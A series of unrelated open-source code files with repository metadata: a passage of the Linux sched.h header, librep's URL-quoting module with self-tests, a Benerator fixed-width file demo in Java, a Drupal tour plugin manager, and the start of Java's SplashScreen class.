init_mm; extern struct pid_namespace init_pid_ns; /* * find a task by one of its numerical ids * * find_task_by_pid_ns(): * finds a task by its pid in the specified namespace * find_task_by_vpid(): * finds a task by its virtual pid * * see also find_vpid() etc in include/linux/pid.h */ extern struct task_struct *find_task_by_vpid(pid_t nr); extern struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns); extern void __set_special_pids(struct pid *pid); /* per-UID process charging. */ extern struct user_struct * alloc_uid(kuid_t); static inline struct user_struct *get_uid(struct user_struct *u) { atomic_inc(&u->__count); return u; } extern void free_uid(struct user_struct *); #include <asm/current.h> extern void xtime_update(unsigned long ticks); extern int wake_up_state(struct task_struct *tsk, unsigned int state); extern int wake_up_process(struct task_struct *tsk); extern int wake_up_process_no_notif(struct task_struct *tsk); extern void wake_up_new_task(struct task_struct *tsk); #ifdef CONFIG_SMP extern void kick_process(struct task_struct *tsk); #else static inline void kick_process(struct task_struct *tsk) { } #endif extern void sched_fork(struct task_struct *p); extern void sched_dead(struct task_struct *p); #ifdef CONFIG_SCHED_HMP extern void sched_exit(struct task_struct *p); #else static inline void sched_exit(struct task_struct *p) { } #endif extern void proc_caches_init(void); extern void flush_signals(struct task_struct *); extern void __flush_signals(struct task_struct *); extern void ignore_signals(struct task_struct *); extern void flush_signal_handlers(struct task_struct *, int force_default); extern int dequeue_signal(struct task_struct *tsk, sigset_t *mask, siginfo_t *info); static inline int dequeue_signal_lock(struct task_struct *tsk, sigset_t *mask, siginfo_t *info) { unsigned long flags; int ret; spin_lock_irqsave(&tsk->sighand->siglock, flags); ret = dequeue_signal(tsk, mask, info); spin_unlock_irqrestore(&tsk->sighand->siglock, flags); return ret; } extern void block_all_signals(int (*notifier)(void *priv), void *priv, sigset_t *mask); extern void unblock_all_signals(void); extern void release_task(struct task_struct * p); extern int send_sig_info(int, struct siginfo *, struct task_struct *); extern int force_sigsegv(int, struct task_struct *); extern int force_sig_info(int, struct siginfo *, struct task_struct *); extern int __kill_pgrp_info(int sig, struct siginfo *info, struct pid *pgrp); extern int kill_pid_info(int sig, struct siginfo *info, struct pid *pid); extern int kill_pid_info_as_cred(int, struct siginfo *, struct pid *, const struct cred *, u32); extern int kill_pgrp(struct pid *pid, int sig, int priv); extern int kill_pid(struct pid *pid, int sig, int priv); extern int kill_proc_info(int, struct siginfo *, pid_t); extern __must_check bool do_notify_parent(struct task_struct *, int); extern void __wake_up_parent(struct task_struct *p, struct task_struct *parent); extern void force_sig(int, struct task_struct *); extern int send_sig(int, struct task_struct *, int); extern int zap_other_threads(struct task_struct *p); extern struct sigqueue *sigqueue_alloc(void); extern void sigqueue_free(struct sigqueue *); extern int send_sigqueue(struct sigqueue *, struct task_struct *, int group); extern int do_sigaction(int, struct k_sigaction *, struct k_sigaction *); static inline void restore_saved_sigmask(void) { if (test_and_clear_restore_sigmask()) __set_current_blocked(&current->saved_sigmask); } static inline sigset_t *sigmask_to_save(void) { sigset_t *res = &current->blocked; if (unlikely(test_restore_sigmask())) res = &current->saved_sigmask; return res; } static inline int kill_cad_pid(int sig, int priv) { return kill_pid(cad_pid, sig, priv); } /* These can be the second arg to send_sig_info/send_group_sig_info. */ #define SEND_SIG_NOINFO ((struct siginfo *) 0) #define SEND_SIG_PRIV ((struct siginfo *) 1) #define SEND_SIG_FORCED ((struct siginfo *) 2) /* * True if we are on the alternate signal stack. */ static inline int on_sig_stack(unsigned long sp) { #ifdef CONFIG_STACK_GROWSUP return sp >= current->sas_ss_sp && sp - current->sas_ss_sp < current->sas_ss_size; #else return sp > current->sas_ss_sp && sp - current->sas_ss_sp <= current->sas_ss_size; #endif } static inline int sas_ss_flags(unsigned long sp) { return (current->sas_ss_size == 0 ? SS_DISABLE : on_sig_stack(sp) ? SS_ONSTACK : 0); } static inline unsigned long sigsp(unsigned long sp, struct ksignal *ksig) { if (unlikely((ksig->ka.sa.sa_flags & SA_ONSTACK)) && ! sas_ss_flags(sp)) #ifdef CONFIG_STACK_GROWSUP return current->sas_ss_sp; #else return current->sas_ss_sp + current->sas_ss_size; #endif return sp; } /* * Routines for handling mm_structs */ extern struct mm_struct * mm_alloc(void); /* mmdrop drops the mm and the page tables */ extern void __mmdrop(struct mm_struct *); static inline void mmdrop(struct mm_struct * mm) { if (unlikely(atomic_dec_and_test(&mm->mm_count))) __mmdrop(mm); } /* mmput gets rid of the mappings and all user-space */ extern int mmput(struct mm_struct *); /* Grab a reference to a task's mm, if it is not already going away */ extern struct mm_struct *get_task_mm(struct task_struct *task); /* * Grab a reference to a task's mm, if it is not already going away * and ptrace_may_access with the mode parameter passed to it * succeeds. */ extern struct mm_struct *mm_access(struct task_struct *task, unsigned int mode); /* Remove the current tasks stale references to the old mm_struct */ extern void mm_release(struct task_struct *, struct mm_struct *); /* Allocate a new mm structure and copy contents from tsk->mm */ extern struct mm_struct *dup_mm(struct task_struct *tsk); extern int copy_thread(unsigned long, unsigned long, unsigned long, struct task_struct *); extern void flush_thread(void); extern void exit_thread(void); extern void exit_files(struct task_struct *); extern void __cleanup_sighand(struct sighand_struct *); extern void exit_itimers(struct signal_struct *); extern void flush_itimer_signals(void); extern void do_group_exit(int); extern int allow_signal(int); extern int disallow_signal(int); extern int do_execve(const char *, const char __user * const __user *, const char __user * const __user *); extern long do_fork(unsigned long, unsigned long, unsigned long, int __user *, int __user *); struct task_struct *fork_idle(int); extern pid_t kernel_thread(int (*fn)(void *), void *arg, unsigned long flags); extern void set_task_comm(struct task_struct *tsk, char *from); extern char *get_task_comm(char *to, struct task_struct *tsk); #ifdef CONFIG_SMP void scheduler_ipi(void); extern unsigned long wait_task_inactive(struct task_struct *, long match_state); #else static inline void scheduler_ipi(void) { } static inline unsigned long wait_task_inactive(struct task_struct *p, long match_state) { return 1; } #endif #define next_task(p) \ list_entry_rcu((p)->tasks.next, struct task_struct, tasks) #define for_each_process(p) \ for (p = &init_task ; (p = next_task(p)) != &init_task ; ) extern bool current_is_single_threaded(void); /* * Careful: do_each_thread/while_each_thread is a double loop so * 'break' will not work as expected - use goto instead. */ #define do_each_thread(g, t) \ for (g = t = &init_task ; (g = t = next_task(g)) != &init_task ; ) do #define while_each_thread(g, t) \ while ((t = next_thread(t)) != g) #define __for_each_thread(signal, t) \ list_for_each_entry_rcu(t, &(signal)->thread_head, thread_node) #define for_each_thread(p, t) \ __for_each_thread((p)->signal, t) /* Careful: this is a double loop, 'break' won't work as expected. */ #define for_each_process_thread(p, t) \ for_each_process(p) for_each_thread(p, t) static inline int get_nr_threads(struct task_struct *tsk) { return tsk->signal->nr_threads; } static inline bool thread_group_leader(struct task_struct *p) { return p->exit_signal >= 0; } /* Do to the insanities of de_thread it is possible for a process * to have the pid of the thread group leader without actually being * the thread group leader. For iteration through the pids in proc * all we care about is that we have a task with the appropriate * pid, we don't actually care if we have the right task. */ static inline bool has_group_leader_pid(struct task_struct *p) { return task_pid(p) == p->signal->leader_pid; } static inline bool same_thread_group(struct task_struct *p1, struct task_struct *p2) { return p1->signal == p2->signal; } static inline struct task_struct *next_thread(const struct task_struct *p) { return list_entry_rcu(p->thread_group.next, struct task_struct, thread_group); } static inline int thread_group_empty(struct task_struct *p) { return list_empty(&p->thread_group); } #define delay_group_leader(p) \ (thread_group_leader(p) && !thread_group_empty(p)) /* * Protects ->fs, ->files, ->mm, ->group_info, ->comm, keyring * subscriptions and synchronises with wait4(). Also used in procfs. Also * pins the final release of task.io_context. Also protects ->cpuset and * ->cgroup.subsys[]. And ->vfork_done. * * Nests both inside and outside of read_lock(&tasklist_lock). * It must not be nested with write_lock_irq(&tasklist_lock), * neither inside nor outside. */ static inline void task_lock(struct task_struct *p) { spin_lock(&p->alloc_lock); } static inline void task_unlock(struct task_struct *p) { spin_unlock(&p->alloc_lock); } extern struct sighand_struct *__lock_task_sighand(struct task_struct *tsk, unsigned long *flags); static inline struct sighand_struct *lock_task_sighand(struct task_struct *tsk, unsigned long *flags) { struct sighand_struct *ret; ret = __lock_task_sighand(tsk, flags); (void)__cond_lock(&tsk->sighand->siglock, ret); return ret; } static inline void unlock_task_sighand(struct task_struct *tsk, unsigned long *flags) { spin_unlock_irqrestore(&tsk->sighand->siglock, *flags); } #ifdef CONFIG_CGROUPS static inline void threadgroup_change_begin(struct task_struct *tsk) { down_read(&tsk->signal->group_rwsem); } static inline void threadgroup_change_end(struct task_struct *tsk) { up_read(&tsk->signal->group_rwsem); } /** * threadgroup_lock - lock threadgroup * @tsk: member task of the threadgroup to lock * * Lock the threadgroup @tsk belongs to. No new task is allowed to enter * and member tasks aren't allowed to exit (as indicated by PF_EXITING) or * change ->group_leader/pid. This is useful for cases where the threadgroup * needs to stay stable across blockable operations. * * fork and exit paths explicitly call threadgroup_change_{begin|end}() for * synchronization. While held, no new task will be added to threadgroup * and no existing live task will have its PF_EXITING set. * * de_thread() does threadgroup_change_{begin|end}() when a non-leader * sub-thread becomes a new leader. */ static inline void threadgroup_lock(struct task_struct *tsk) { down_write(&tsk->signal->group_rwsem); } /** * threadgroup_unlock - unlock threadgroup * @tsk: member task of the threadgroup to unlock * * Reverse threadgroup_lock(). */ static inline void threadgroup_unlock(struct task_struct *tsk) { up_write(&tsk->signal->group_rwsem); } #else static inline void threadgroup_change_begin(struct task_struct *tsk) {} static inline void threadgroup_change_end(struct task_struct *tsk) {} static inline void threadgroup_lock(struct task_struct *tsk) {} static inline void threadgroup_unlock(struct task_struct *tsk) {} #endif #ifndef __HAVE_THREAD_FUNCTIONS #define task_thread_info(task) ((struct thread_info *)(task)->stack) #define task_stack_page(task) ((task)->stack) static inline void setup_thread_stack(struct task_struct *p, struct task_struct *org) { *task_thread_info(p) = *task_thread_info(org); task_thread_info(p)->task = p; } static inline unsigned long *end_of_stack(struct task_struct *p) { return (unsigned long *)(task_thread_info(p) + 1); } #endif static inline int object_is_on_stack(void *obj) { void *stack = task_stack_page(current); return (obj >= stack) && (obj < (stack + THREAD_SIZE)); } extern void thread_info_cache_init(void); #ifdef CONFIG_DEBUG_STACK_USAGE static inline unsigned long stack_not_used(struct task_struct *p) { unsigned long *n = end_of_stack(p); do { /* Skip over canary */ n++; } while (!*n); return (unsigned long)n - (unsigned long)end_of_stack(p); } #endif /* set thread flags in other task's structures * - see asm/thread_info.h for TIF_xxxx flags available */ static inline void set_tsk_thread_flag(struct task_struct *tsk, int flag) { set_ti_thread_flag(task_thread_info(tsk), flag); } static inline void clear_tsk_thread_flag(struct task_struct *tsk, int flag) { clear_ti_thread_flag(task_thread_info(tsk), flag); } static inline int test_and_set_tsk_thread_flag(struct task_struct *tsk, int flag) { return test_and_set_ti_thread_flag(task_thread_info(tsk), flag); } static inline int test_and_clear_tsk_thread_flag(struct task_struct *tsk, int flag) { return test_and_clear_ti_thread_flag(task_thread_info(tsk), flag); } static inline int test_tsk_thread_flag(struct task_struct *tsk, int flag) { return test_ti_thread_flag(task_thread_info(tsk), flag); } static inline void set_tsk_need_resched(struct task_struct *tsk) { set_tsk_thread_flag(tsk,TIF_NEED_RESCHED); } static inline void clear_tsk_need_resched(struct task_struct *tsk) { clear_tsk_thread_flag(tsk,TIF_NEED_RESCHED); } static inline int test_tsk_need_resched(struct task_struct *tsk) { return unlikely(test_tsk_thread_flag(tsk,TIF_NEED_RESCHED)); } static inline int restart_syscall(void) { set_tsk_thread_flag(current, TIF_SIGPENDING); return -ERESTARTNOINTR; } static inline int signal_pending(struct task_struct *p) { return unlikely(test_tsk_thread_flag(p,TIF_SIGPENDING)); } static inline int __fatal_signal_pending(struct task_struct *p) { return unlikely(sigismember(&p->pending.signal, SIGKILL)); } static inline int fatal_signal_pending(struct task_struct *p) { return signal_pending(p) && __fatal_signal_pending(p); } static inline int signal_pending_state(long state, struct task_struct *p) { if (!(state & (TASK_INTERRUPTIBLE | TASK_WAKEKILL))) return 0; if (!signal_pending(p)) return 0; return (state & TASK_INTERRUPTIBLE) || __fatal_signal_pending(p); } static inline int need_resched(void) { return unlikely(test_thread_flag(TIF_NEED_RESCHED)); } /* * cond_resched() and cond_resched_lock(): latency reduction via * explicit rescheduling in places that are safe. The return * value indicates whether a reschedule was done in fact. * cond_resched_lock() will drop the spinlock before scheduling, * cond_resched_softirq() will enable bhs before scheduling. */ extern int _cond_resched(void); #define cond_resched() ({ \ __might_sleep(__FILE__, __LINE__, 0); \ _cond_resched(); \ }) extern int __cond_resched_lock(spinlock_t *lock); #ifdef CONFIG_PREEMPT_COUNT #define PREEMPT_LOCK_OFFSET PREEMPT_OFFSET #else #define PREEMPT_LOCK_OFFSET 0 #endif #define cond_resched_lock(lock) ({ \ __might_sleep(__FILE__, __LINE__, PREEMPT_LOCK_OFFSET); \ __cond_resched_lock(lock); \ }) extern int __cond_resched_softirq(void); #define cond_resched_softirq() ({ \ __might_sleep(__FILE__, __LINE__, SOFTIRQ_DISABLE_OFFSET); \ __cond_resched_softirq(); \ }) /* * Does a critical section need to be broken due to another * task waiting?: (technically does not depend on CONFIG_PREEMPT, * but a general need for low latency) */ static inline int spin_needbreak(spinlock_t *lock) { #ifdef CONFIG_PREEMPT return spin_is_contended(lock); #else return 0; #endif } /* * Idle thread specific functions to determine the need_resched * polling state. We have two versions, one based on TS_POLLING in * thread_info.status and one based on TIF_POLLING_NRFLAG in * thread_info.flags */ #ifdef TS_POLLING static inline int tsk_is_polling(struct task_struct *p) { return task_thread_info(p)->status & TS_POLLING; } static inline void __current_set_polling(void) { current_thread_info()->status |= TS_POLLING; } static inline bool __must_check current_set_polling_and_test(void) { __current_set_polling(); /* * Polling state must be visible before we test NEED_RESCHED, * paired by resched_task() */ smp_mb(); return unlikely(tif_need_resched()); } static inline void __current_clr_polling(void) { current_thread_info()->status &= ~TS_POLLING; } static inline bool __must_check current_clr_polling_and_test(void) { __current_clr_polling(); /* * Polling state must be visible before we test NEED_RESCHED, * paired by resched_task() */ smp_mb(); return unlikely(tif_need_resched()); } #elif defined(TIF_POLLING_NRFLAG) static inline int tsk_is_polling(struct task_struct *p) { return test_tsk_thread_flag(p, TIF_POLLING_NRFLAG); } static inline void __current_set_polling(void) { set_thread_flag(TIF_POLLING_NRFLAG); } static inline bool __must_check current_set_polling_and_test(void) { __current_set_polling(); /* * Polling state must be visible before we test NEED_RESCHED, * paired by resched_task() */ smp_mb__after_atomic(); return unlikely(tif_need_resched()); } static inline void __current_clr_polling(void) { clear_thread_flag(TIF_POLLING_NRFLAG); } static inline bool __must_check current_clr_polling_and_test(void) { __current_clr_polling(); /* * Polling state must be visible before we test NEED_RESCHED, * paired by resched_task() */ smp_mb__after_atomic(); return unlikely(tif_need_resched()); } #else static inline int tsk_is_polling(struct task_struct *p) { return 0; } static inline void __current_set_polling(void) { } static inline void __current_clr_polling(void) { } static inline bool __must_check current_set_polling_and_test(void) { return unlikely(tif_need_resched()); } static inline bool __must_check current_clr_polling_and_test(void) { return unlikely(tif_need_resched()); } #endif /* * Thread group CPU time accounting. */ void thread_group_cputime(struct task_struct *tsk, struct task_cputime *times); void thread_group_cputimer(struct task_struct *tsk, struct task_cputime *times); static inline void thread_group_cputime_init(struct signal_struct *sig) { raw_spin_lock_init(&sig->cputimer.lock); } /* * Reevaluate whether the task has signals pending delivery. * Wake the task if so. * This is required every time the blocked sigset_t changes. * callers must hold sighand->siglock. */ extern void recalc_sigpending_and_wake(struct task_struct *t); extern void recalc_sigpending(void); extern void signal_wake_up_state(struct task_struct *t, unsigned int state); static inline void signal_wake_up(struct task_struct *t, bool resume) { signal_wake_up_state(t, resume ? TASK_WAKEKILL : 0); } static inline void ptrace_signal_wake_up(struct task_struct *t, bool resume) { signal_wake_up_state(t, resume ? __TASK_TRACED : 0); } /* * Wrappers for p->thread_info->cpu access. No-op on UP. */ #ifdef CONFIG_SMP static inline unsigned int task_cpu(const struct task_struct *p) { return task_thread_info(p)->cpu; } extern void set_task_cpu(struct task_struct *p, unsigned int cpu); #else static inline unsigned int task_cpu(const struct task_struct *p) { return 0; } static inline void set_task_cpu(struct task_struct *p, unsigned int cpu) { } #endif /* CONFIG_SMP */ extern struct atomic_notifier_head migration_notifier_head; struct migration_notify_data { int src_cpu; int dest_cpu; int load; }; extern struct atomic_notifier_head load_alert_notifier_head; extern long sched_setaffinity(pid_t pid, const struct cpumask *new_mask); extern long sched_getaffinity(pid_t pid, struct cpumask *mask); #ifdef CONFIG_CGROUP_SCHED extern struct task_group root_task_group; #endif /* CONFIG_CGROUP_SCHED */ extern int task_can_switch_user(struct user_struct *up, struct task_struct *tsk); #ifdef CONFIG_TASK_XACCT static inline void add_rchar(struct task_struct *tsk, ssize_t amt) { tsk->ioac.rchar += amt; } static inline void add_wchar(struct task_struct *tsk, ssize_t amt) { tsk->ioac.wchar += amt; } static inline void inc_syscr(struct task_struct *tsk) { tsk->ioac.syscr++; } static inline void inc_syscw(struct task_struct *tsk) { tsk->ioac.syscw++; } #else static inline void add_rchar(struct task_struct *tsk, ssize_t amt) { } static inline void add_wchar(struct task_struct *tsk, ssize_t amt) { } static inline void inc_syscr(struct task_struct *tsk) { } static inline void inc_syscw(struct task_struct *tsk) { } #endif #ifndef TASK_SIZE_OF #define TASK_SIZE_OF(tsk) TASK_SIZE #endif #ifdef CONFIG_MM_OWNER extern void mm_update_next_owner(struct mm_struct *mm); extern void mm_init_owner(struct mm_struct *mm, struct task_struct *p); #else static inline void mm_update_next_owner(struct mm_struct *mm) { } static inline void mm_init_owner(struct mm_struct *mm, struct task_struct *p) { } #endif /* CONFIG_MM_OWNER */ static inline unsigned long task_rlimit(const struct task_struct *tsk, unsigned int limit) { return ACCESS_ONCE(tsk->signal->rlim[limit].rlim_cur); } static inline unsigned long task_rlimit_max(const struct task_struct *tsk, unsigned int limit) { return ACCESS_ONCE(tsk->signal->rlim[limit].rlim_max); } static inline unsigned long rlimit(unsigned int limit) { return task_rlimit(current, limit); } static inline unsigned long rlimit_max(unsigned int limit) { return task_rlimit_max(current, limit); } #endif
benschhold/android_kernel_oneplus_msm8994_custom
include/linux/sched.h
C
gpl-2.0
86,057
#| quote-url.jl -- url-escape a given string $Id$ Copyright (C) 2000 John Harper <john@dcs.warwick.ac.uk> This file is part of librep. librep is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. librep is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with librep; see the file COPYING. If not, write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. |# ;; Background: ;; Sen Nagata posted code to do the escaping part of this to the rep ;; mailing list (<20000424174557J.1000@eccosys.com>). I've rewritten it ;; to use regexps, and added the decoder. (define-structure rep.www.quote-url (export quote-url unquote-url) (open rep rep.regexp rep.test.framework) (defconst url-meta-re "[^a-zA-Z0-9$_.!~*'(),-]" "A regexp matching a single character that is reserved in the URL spec. This is taken from draft-fielding-url-syntax-02.txt -- check your local internet drafts directory for a copy.") (define (quote-url string) "Escape URL meta-characters in STRING." (string-replace url-meta-re (lambda (s) (string-upcase (format nil "%%%02x" (aref s (match-start))))) string)) (define (unquote-url string) "Unescape URL meta-characters in STRING." (string-replace "%([0-9A-Fa-f][0-9A-Fa-f])" (lambda () (string->number (expand-last-match "\\1") 16)) string)) ;; Tests (define (self-test) (test (string= (quote-url "http://www.foo.com/bar.html") "http%3A%2F%2Fwww.foo.com%2Fbar.html")) (test (string= (quote-url "http://www.foo.com/~jsh/") "http%3A%2F%2Fwww.foo.com%2F~jsh%2F")) (test (string= (unquote-url "http%3A%2F%2Fwww.foo.com%2Fbar.html") "http://www.foo.com/bar.html")) (test (string= (unquote-url "http%3A%2F%2Fwww.foo.com%2F~jsh%2F") "http://www.foo.com/~jsh/"))) ;;###autoload (define-self-test 'rep.www.quote-url self-test))
juergenhoetzel/librep
lisp/rep/www/quote-url.jl
Julia
gpl-2.0
2,358
/* * (c) Copyright 2006-2011 by Volker Bergmann. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, is permitted under the terms of the * GNU General Public License. * * For redistributing this software or a derivative work under a license other * than the GPL-compatible Free Software License as defined by the Free * Software Foundation or approved by OSI, you must first obtain a commercial * license to this software product from Volker Bergmann. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * WITHOUT A WARRANTY OF ANY KIND. ALL EXPRESS OR IMPLIED CONDITIONS, * REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE * HEREBY EXCLUDED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ package org.databene.benerator.demo; import org.databene.benerator.Generator; import org.databene.benerator.sample.ConstantGenerator; import org.databene.benerator.util.GeneratorUtil; import org.databene.benerator.distribution.SequenceManager; import org.databene.benerator.engine.DefaultBeneratorContext; import org.databene.benerator.factory.StochasticGeneratorFactory; import org.databene.benerator.file.FileBuilder; import org.databene.benerator.wrapper.MultiSourceArrayGenerator; import org.databene.benerator.wrapper.WrapperFactory; import org.databene.commons.*; import org.databene.commons.converter.FormatFormatConverter; import org.databene.commons.format.Alignment; import org.databene.document.fixedwidth.ArrayFixedWidthWriter; import org.databene.document.fixedwidth.FixedWidthColumnDescriptor; import org.databene.model.data.Uniqueness; import org.databene.script.AbstractScript; import java.io.*; import java.util.Date; import java.text.SimpleDateFormat; import java.math.BigDecimal; /** * Demonstrates the creation of fixed column width files from an array generator.<br/> * <br/> * Created: 07.06.2007 12:04:39 * @author Volker Bergmann */ public class ArrayFixedWidthDemo { private static final String FILE_NAME = "persons.fcw"; private static final int LENGTH = 5; public static void main(String[] args) throws IOException { Writer out = null; try { FixedWidthColumnDescriptor[] descriptors = new FixedWidthColumnDescriptor[] { new FixedWidthColumnDescriptor("rowType", 1, Alignment.RIGHT), new FixedWidthColumnDescriptor("recordNumber", 8, Alignment.RIGHT), new FixedWidthColumnDescriptor("type", 4, Alignment.LEFT), new FixedWidthColumnDescriptor("date", 8, Alignment.LEFT), new FixedWidthColumnDescriptor("partner", 6, Alignment.LEFT), new FixedWidthColumnDescriptor("articleNumber", 6, Alignment.RIGHT), new FixedWidthColumnDescriptor("itemCount", 3, Alignment.LEFT), new FixedWidthColumnDescriptor("itemPrice", 6, Alignment.LEFT) }; //out = new BufferedWriter(new FileWriter(FILE_NAME)); out = new OutputStreamWriter(System.out); HeaderScript headerScript = new HeaderScript(LENGTH); DocumentWriter<Object[]> writer = new ArrayFixedWidthWriter<Object>(out, headerScript, null, descriptors); System.out.println("Running..."); long startMillis = System.currentTimeMillis(); TransactionGenerator generator = new TransactionGenerator(); FileBuilder.build(generator, LENGTH, writer); long elapsedTime = System.currentTimeMillis() - startMillis; System.out.println("Created file " + FILE_NAME + " with " + LENGTH + " entries " + "within " + (elapsedTime / 1000) + "s (" + (LENGTH * 1000L / elapsedTime) + " entries per second)"); } finally { IOUtil.close(out); } } public static class TransactionGenerator extends MultiSourceArrayGenerator<Object> { public TransactionGenerator() { super(Object.class, false, createSources()); } @SuppressWarnings({ "unchecked", "cast" }) private static Generator<Object>[] createSources() { StochasticGeneratorFactory generatorFactory = new StochasticGeneratorFactory(); Generator<Date> dateGenerator = generatorFactory.createDateGenerator( // transaction date TimeUtil.date(2004, 0, 1), TimeUtil.date(2006, 11, 31), Period.DAY.getMillis(), SequenceManager.RANDOM_SEQUENCE); FormatFormatConverter<Date> dateRenderer = new FormatFormatConverter<Date>(Date.class, new SimpleDateFormat("yyyyMMdd"), false); Generator<Object>[] sources = (Generator<Object>[]) new Generator[] { new ConstantGenerator<String>("R"), generatorFactory.createNumberGenerator(Integer.class, 1, true, LENGTH, true, 1, SequenceManager.RANDOM_WALK_SEQUENCE, Uniqueness.NONE), generatorFactory.createSampleGenerator(CollectionUtil.toList("BUY", "SALE"), String.class, false), // transaction type WrapperFactory.applyConverter(dateGenerator, dateRenderer), // transaction date generatorFactory.createSampleGenerator(CollectionUtil.toList("Alice", "Bob", "Charly"), String.class, false), // partner generatorFactory.createRegexStringGenerator("[A-Z0-9]{6}", 6, 6, Uniqueness.NONE), // article number generatorFactory.createNumberGenerator(Integer.class, 1, true, 20, true, 1, SequenceManager.RANDOM_SEQUENCE, Uniqueness.NONE), // item count generatorFactory.createNumberGenerator(BigDecimal.class, // item price new BigDecimal("0.50"), true, new BigDecimal("99.99"), true, new BigDecimal("0.01"), SequenceManager.CUMULATED_SEQUENCE, Uniqueness.NONE) }; GeneratorUtil.initAll(sources, new DefaultBeneratorContext()); return sources; } } private static class HeaderScript extends AbstractScript { int length; public HeaderScript(int length) { this.length = length; } @Override public void execute(Context context, Writer writer) throws IOException { writer.write("H"); writer.write(StringUtil.padRight("Tx", 12, ' ')); writer.write(StringUtil.padLeft(String.valueOf(length), 8, ' ')); writer.write(new SimpleDateFormat("yyyyMMdd").format(new Date())); writer.write(SystemInfo.getLineSeparator()); } } }
raphaelfeng/benerator
demo/org/databene/benerator/demo/ArrayFixedWidthDemo.java
Java
gpl-2.0
7,328
<?php /** * @file * Contains \Drupal\tour\TipPluginManager. */ namespace Drupal\tour; use Drupal\Component\Plugin\PluginManagerBase; use Drupal\Component\Plugin\Factory\DefaultFactory; use Drupal\Core\Plugin\Discovery\AnnotatedClassDiscovery; use Drupal\Core\Plugin\Discovery\CacheDecorator; use Drupal\Component\Plugin\Discovery\ProcessDecorator; /** * Configurable tour manager. */ class TipPluginManager extends PluginManagerBase { /** * Overrides \Drupal\Component\Plugin\PluginManagerBase::__construct(). * * @param array $namespaces * An array of paths keyed by it's corresponding namespaces. */ public function __construct(array $namespaces) { $this->discovery = new AnnotatedClassDiscovery('tour', 'tip', $namespaces); $this->discovery = new CacheDecorator($this->discovery, 'tour'); $this->factory = new DefaultFactory($this->discovery); } }
nullzer/dr8
core/modules/tour/lib/Drupal/tour/TipPluginManager.php
PHP
gpl-2.0
898
/* * Copyright (c) 2005, 2014, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.awt; import java.io.IOException; import java.awt.image.*; import java.net.URL; import java.net.URLConnection; import java.io.File; import sun.util.logging.PlatformLogger; import sun.awt.image.SunWritableRaster; /** * The splash screen can be displayed at application startup, before the * Java Virtual Machine (JVM) starts. The splash screen is displayed as an * undecorated window containing an image. You can use GIF, JPEG, or PNG files * for the image. Animation is supported for the GIF format, while transparency * is supported both for GIF and PNG. The window is positioned at the center * of the screen. The position on multi-monitor systems is not specified. It is * platform and implementation dependent. The splash screen window is closed * automatically as soon as the first window is displayed by Swing/AWT (may be * also closed manually using the Java API, see below). * <P> * If your application is packaged in a jar file, you can use the * "SplashScreen-Image" option in a manifest file to show a splash screen. * Place the image in the jar archive and specify the path in the option. * The path should not have a leading slash. * <BR> * For example, in the {@code manifest.mf} file: * <PRE> * Manifest-Version: 1.0 * Main-Class: Test * SplashScreen-Image: filename.gif * </PRE> * <P> * If the Java implementation provides the command-line interface and you run * your application by using the command line or a shortcut, use the Java * application launcher option to show a splash screen. The Oracle reference * implementation allows you to specify the splash screen image location with * the {@code -splash:} option. * <BR> * For example: * <PRE> * java -splash:filename.gif Test * </PRE> * The command line interface has higher precedence over the manifest * setting. * <p> * The splash screen will be displayed as faithfully as possible to present the * whole splash screen image given the limitations of the target platform and * display. * <p> * It is implied that the specified image is presented on the screen "as is", * i.e. preserving the exact color values as specified in the image file. Under * certain circumstances, though, the presented image may differ, e.g. when * applying color dithering to present a 32 bits per pixel (bpp) image on a 16 * or 8 bpp screen. The native platform display configuration may also affect * the colors of the displayed image (e.g. color profiles, etc.) * <p> * The {@code SplashScreen} class provides the API for controlling the splash * screen. This class may be used to close the splash screen, change the splash * screen image, get the splash screen native window position/size, and paint * in the splash screen. It cannot be used to create the splash screen. You * should use the options provided by the Java implementation for that. * <p> * This class cannot be instantiated. Only a single instance of this class * can exist, and it may be obtained by using the {@link #getSplashScreen()} * static method. In case the splash screen has not been created at * application startup via the command line or manifest file option, * the {@code getSplashScreen} method returns {@code null}. * * @author Oleg Semenov * @since 1.6 */ public final class SplashScreen { SplashScreen(long ptr) { // non-public constructor splashPtr = ptr; } /** * Returns the {@code SplashScreen} object used for * Java startup splash screen control on systems that support display. * * 